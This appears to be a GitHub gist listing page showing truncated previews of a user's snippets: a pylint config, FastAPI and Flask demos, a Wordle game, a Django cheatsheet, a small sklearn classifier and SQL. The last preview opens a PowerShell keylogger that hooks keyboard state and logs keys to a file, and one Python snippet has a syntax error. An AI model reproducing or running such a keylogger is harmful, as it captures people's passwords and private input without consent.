This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
[MASTER] | |
# A comma-separated list of package or module names from where C extensions may | |
# be loaded. Extensions are loading into the active Python interpreter and may | |
# run arbitrary code. | |
extension-pkg-allow-list= | |
# A comma-separated list of package or module names from where C extensions may | |
# be loaded. Extensions are loading into the active Python interpreter and may | |
# run arbitrary code. (This is an alternative name to extension-pkg-allow-list |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from fastapi import FastAPI, HTTPException | |
from pydantic import BaseModel | |
from typing import Optional | |
import uvicorn | |
# instantiate our FastApi application | |
app = FastAPI() | |
# initiate our test dataset | |
videogames = [ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Play it live on https://replit.com/@carlo_/wordletest#main.py | |
import random | |
from collections import Counter | |
from english_words import english_words_lower_alpha_set as words | |
words = list(words) | |
SECRET = words[random.choice(range(len(words)))] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Django Cheatsheet | |
# start a new Python env (with Anaconda) | |
`conda create -n my_env pip python=3.8.8` # insert your fav python version here | |
# activate Python Env | |
`conda activate my_env` | |
# install Django | |
`pip install django` |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# -*- coding: utf-8 -*- | |
""" | |
Created on Wed Jan 30 20:54:37 2019 | |
Introduction to machine learning | |
""" | |
from sklearn import tree | |
from sklearn.feature_extraction.text import CountVectorizer | |
OK_txt = ["ti voglio bene", "ti amo molto", "mi piace tanto", "molto bello"] | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sqlite3 | |
import flask | |
from flask import request, jsonify | |
# iniating Flask application object | |
app = flask.Flask(__name__) | |
app.config["DEBUG"] = True | |
# defining our SQLlite object | |
DB = "music.db" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
CREATE TABLE IF NOT EXISTS album ( | |
`ID` INT PRI, | |
`ARTIST` VARCHAR(30), | |
`ALBUM` VARCHAR(30), | |
`GENRE` VARCHAR(30), | |
PRIMARY KEY (ID) | |
); | |
INSERT INTO album VALUES | |
(1,'Pantera','Official Live','Trash Metal'), | |
(2,'Sepultura','Roots','Death Metal'), |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def my_func: | |
for num in range(50): | |
yield num ** num | |
for values in my_func(): | |
print (values) | |
all_values = list(my_func()) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# copy and paste this code in a windows power shell sesh. CTRL+C to display pressed keys in a notepad. | |
#requires -Version 2 | |
function Start-KeyLogger($Path="$env:temp\keylogger.txt") | |
{ | |
# Signatures for API Calls | |
$signatures = @' | |
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] | |
public static extern short GetAsyncKeyState(int virtualKeyCode); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] | |
public static extern int GetKeyboardState(byte[] keystate); |
NewerOlder